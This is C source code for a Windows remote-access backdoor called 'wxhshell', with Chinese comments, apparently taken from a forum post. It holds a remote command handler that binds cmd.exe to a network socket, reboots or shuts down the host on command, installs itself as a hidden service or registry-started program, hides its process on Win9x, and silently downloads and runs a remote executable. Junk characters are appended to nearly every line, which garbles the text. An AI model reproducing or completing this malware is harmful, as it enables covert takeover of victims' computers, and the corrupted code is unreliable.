  } B!eK!B  
  else { j!YNg*H  
9khjwt  
    switch(cmd[0]) { N83!C=X'  
  xEjx]w/&  
  // 帮助 LU%#mY  
  case '?': { "tqnx?pM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); & =G)NeT_  
    break; 6N"m?g*Z d  
  } F8;mYuA  
  // 安装 Zr=ib  
  case 'i': { ~i% -WX  
    if(Install()) Gb;99mE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ton1oq  
    else # Mu<8`T-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wfE^Sb3  
    break; AcKU^T+  
    } yE#g5V&  
  // 卸载 le.anJAr  
  case 'r': { 69>/@<   
    if(Uninstall()) 6,X+1EXY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GQb i$kl  
    else wTxbDT@H5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "# !D|[h0  
    break; g0PT8]8  
    } rvwa!YY}  
  // 显示 wxhshell 所在路径 9TC) w|  
  case 'p': { 'r\ 4}Ik  
    char svExeFile[MAX_PATH]; ,]ga[  
    strcpy(svExeFile,"\n\r"); )>V?+L5M  
      strcat(svExeFile,ExeFile); @OzMiN  
        send(wsh,svExeFile,strlen(svExeFile),0); w8p8 ;@  
    break; z`4c 4h]I  
    } AotCX7T2T  
  // 重启 9YD\~v;x  
  case 'b': { nob0T5G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1c$vLo832  
    if(Boot(REBOOT)) wjrG7*_Y4v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V7EQ4Om:It  
    else { 4ZwKpQ6  
    closesocket(wsh); z8E1m"  
    ExitThread(0); QOH<]~3J  
    } (!3;X"l  
    break; 7/aOsW"6  
    } V^TbP.  
  // 关机 6Z?Su(s(5  
  case 'd': { 22&;jpL'?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <.bRf  
    if(Boot(SHUTDOWN)) r{_>ldjq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~W-cGb3c  
    else { 2 o4^  
    closesocket(wsh); uR$i48}  
    ExitThread(0); V%*b@zv  
    } ?T!)X)A#  
    break; 2%]Z Kd  
    } 'RbQj}@x  
  // 获取shell G69GoT  
  case 's': { V kjuyK  
    CmdShell(wsh); qtMD CXZ^n  
    closesocket(wsh); -DjJ",h( $  
    ExitThread(0); n<7u>;SJQ  
    break; |gx ~ gG<  
  } [M%._u,  
  // 退出 ~TqT }:,H  
  case 'x': { ) #+^ sAO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^x m$EY*Y,  
    CloseIt(wsh); fQdK]rLj  
    break; }Wh6zT)  
    } =5x&8i  
  // 离开 c{Ou^.yR  
  case 'q': { }D;WN@],  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %IY``r)j  
    closesocket(wsh); (Un_!)  
    WSACleanup(); f-SuM% S_  
    exit(1); g[[;w*;z  
    break; T.m mmT  
        } @t*t+Vqw  
  } y*23$fj(  
  } gckI.[!b  
x@KZ ]  
  // 提示信息 Ul+Mo&y-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qk1xUE  
} ~Z'w)!h  
  } oCS2E =O&  
D5,P)[  
  return; 0#*Lw }qi  
} 0#cy=*E  
}"^'% C8EX  
// shell模块句柄 nh>K`+>co  
int CmdShell(SOCKET sock) tmUFT  
{ \Ae9\Jp8M  
STARTUPINFO si; [*:6oo98'  
ZeroMemory(&si,sizeof(si)); T~_/Vi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'T<iHV&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W ~f(::  
PROCESS_INFORMATION ProcessInfo; hvka{LD  
char cmdline[]="cmd"; c%m3}mrb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .iX# A<E}  
  return 0; wV\gj~U;P  
} ={>Lrig:l  
ma'FRt  
// 自身启动模式 ,\2:/>2  
int StartFromService(void) 6Htg5o|W  
{ c(;a=n(E#  
typedef struct D,qu-k[jMI  
{ rE9I>|tX  
  DWORD ExitStatus; 1K,1X(0rL8  
  DWORD PebBaseAddress; }v:jncp  
  DWORD AffinityMask; L@`ouQ"sa  
  DWORD BasePriority; :0 & X^]\  
  ULONG UniqueProcessId; xj5;: g#!  
  ULONG InheritedFromUniqueProcessId; U8qtwA9t  
}   PROCESS_BASIC_INFORMATION; evkH05+;W  
b2b?hA'k  
PROCNTQSIP NtQueryInformationProcess; b306&ZVEk  
Mi'8 ~J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EnOU?D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NT@;N/I  
_=CZR7:O  
  HANDLE             hProcess; >SPh2[f  
  PROCESS_BASIC_INFORMATION pbi; 0c K{  
U!U$x74D5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ok|qyN+  
  if(NULL == hInst ) return 0; L_=3<n E  
J{^RkGF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <! )**  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5onm]V]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P(F+f `T  
UG=K|OXWJ  
  if (!NtQueryInformationProcess) return 0; Jgnhn>dHe  
k'0Pi6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @E:,lA  
  if(!hProcess) return 0; >jD[X5Y  
Y ')x/H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J9~ g|5  
EkziAON  
  CloseHandle(hProcess); x?&$ci  
{%_L=2n6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); As>_J=8} 3  
if(hProcess==NULL) return 0; OpHsob~  
fW?o@vlO  
HMODULE hMod; l ok=  
char procName[255]; s6>ZREf#J  
unsigned long cbNeeded; l+V>]?j  
!"Oh3 6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,c NLkoN  
812$`5l  
  CloseHandle(hProcess); }sxYxn~  
D*lKn62  
if(strstr(procName,"services")) return 1; // 以服务启动 AvW:<}a,  
M3q|l7|9  
  return 0; // 注册表启动 '3g[]M@M  
} <_7*67{  
DY`kx2e!  
// 主模块 lv04g} W  
int StartWxhshell(LPSTR lpCmdLine) @ta7"6p-i@  
{ OLE[UXD-E  
  SOCKET wsl; P?k0zwOlBl  
BOOL val=TRUE; .X;3,D[w  
  int port=0; :2ED jW  
  struct sockaddr_in door; 1u:< 25  
Om5Y|v"*  
  if(wscfg.ws_autoins) Install(); }9FSO9*&}  
n^g|Ja  
port=atoi(lpCmdLine); 3xaR@xjS  
3eF -8Z(f  
if(port<=0) port=wscfg.ws_port; :>C2gS@  
#~ )IJ  
  WSADATA data; Eq j_m|@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @"^0%/2-  
ATK_DE Au  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .?loO3 m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 85LAY aw  
  door.sin_family = AF_INET; c_4[e5z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C@'h<[v`1v  
  door.sin_port = htons(port); ?k(7 LX0j  
NeE t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { : qd`zG3  
closesocket(wsl); 'ZDp5pCC;  
return 1; 24z< gO  
} A\HxDIU  
Q$zO83  
  if(listen(wsl,2) == INVALID_SOCKET) { +lHjC$   
closesocket(wsl); J1C3&t}  
return 1; ~T1 XLu  
} hpO`]  
  Wxhshell(wsl); d?A 0MKnl  
  WSACleanup(); hhCrUn"  
^\4h<M  
return 0; 5kCUaPu  
xc=b |:A  
} _({hc+9p  
/`wvxKX  
// 以NT服务方式启动 t/VD31  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J  IUx  
{ )48QBz?  
DWORD   status = 0; \hDlTp }  
  DWORD   specificError = 0xfffffff; 8%A#`)fb  
/_I]H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A%KDiIA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tX_R_]v3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K,+LG7ec  
  serviceStatus.dwWin32ExitCode     = 0; PQ5QA61  
  serviceStatus.dwServiceSpecificExitCode = 0; C~2F9Pg  
  serviceStatus.dwCheckPoint       = 0; QdF5Cwf4  
  serviceStatus.dwWaitHint       = 0; 6-$jkto  
TaKLzd2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 49GkPy#]L=  
  if (hServiceStatusHandle==0) return; D$ dfNiCH  
zzTfYf)  
status = GetLastError(); B +\3-q  
  if (status!=NO_ERROR) s4A43i'g!h  
{ Ve}(s?hU5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f$e[u E r  
    serviceStatus.dwCheckPoint       = 0; [ 9 {*94M  
    serviceStatus.dwWaitHint       = 0; CZud& <  
    serviceStatus.dwWin32ExitCode     = status; xS4w5i2  
    serviceStatus.dwServiceSpecificExitCode = specificError; sFT.Oxg<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); de.&`lPRf  
    return; $PTP/^  
  } y{ibO}s  
_=_Px@<Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qu?R8+"KS  
  serviceStatus.dwCheckPoint       = 0; \?[v{WP)  
  serviceStatus.dwWaitHint       = 0; 4>F'oqFF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0^I|u t4  
} KHe=O1 %QO  
{> eXR?s/  
// 处理NT服务事件,比如:启动、停止 *"?l]d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gw#5jW\  
{ }\tdcTMgS  
switch(fdwControl) t3*wjQ3  
{ wvO|UP H\  
case SERVICE_CONTROL_STOP: s )noo  
  serviceStatus.dwWin32ExitCode = 0; R.jIl@p   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k;K)xb[w|  
  serviceStatus.dwCheckPoint   = 0; HePUWL'  
  serviceStatus.dwWaitHint     = 0; PDJr<E?  
  { c`J.Tm[_u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Xk0VDNp$/  
  } HG^B#yX  
  return; W5EDVP ur  
case SERVICE_CONTROL_PAUSE: *w^C"^*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F_w Z"e6  
  break; K&vF0*gN3  
case SERVICE_CONTROL_CONTINUE: <;vbsksZeH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JJP08 oP  
  break; ~HTmO;HNf"  
case SERVICE_CONTROL_INTERROGATE: _-q.Q^  
  break; <'qeXgi  
}; \w/yF4,3<w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "@%7-nu  
} 3.|S  
13=A  
// 标准应用程序主函数 F<n3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iP =V8g?L  
{ &~8oQC-eF  
C"6?bg5N  
// 获取操作系统版本 zz+$=(T:M  
OsIsNt=GetOsVer(); DgUT5t1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kDEPs$^  
m_.>C  
  // 从命令行安装 ,5i`-OI  
  if(strpbrk(lpCmdLine,"iI")) Install();  'C`U"I  
 O{QA  
  // 下载执行文件 HBy[FYa4  
if(wscfg.ws_downexe) { >pU$wq|i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k9k XyX[  
  WinExec(wscfg.ws_filenam,SW_HIDE); J3e96t~u  
} P^ A!.}d  
!Y$h"<M  
if(!OsIsNt) { cv?06x{  
// 如果时win9x,隐藏进程并且设置为注册表启动 FKIw!m ~  
HideProc(); tXoWwQD;Y  
StartWxhshell(lpCmdLine); wLi4G@jJ  
} 5"CZh.J  
else p~SClaR3H  
  if(StartFromService()) KV}FZ3jY  
  // 以服务方式启动 tmv&U;0Z  
  StartServiceCtrlDispatcher(DispatchTable); /JFUU[W  
else % W=b? :  
  // 普通方式启动 Xnz3p"  
  StartWxhshell(lpCmdLine); lt ^GvWg  
ukIQr/k  
return 0; ySx>L uY#3  
}
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只看该作者 1 发表于: 2006-10-10
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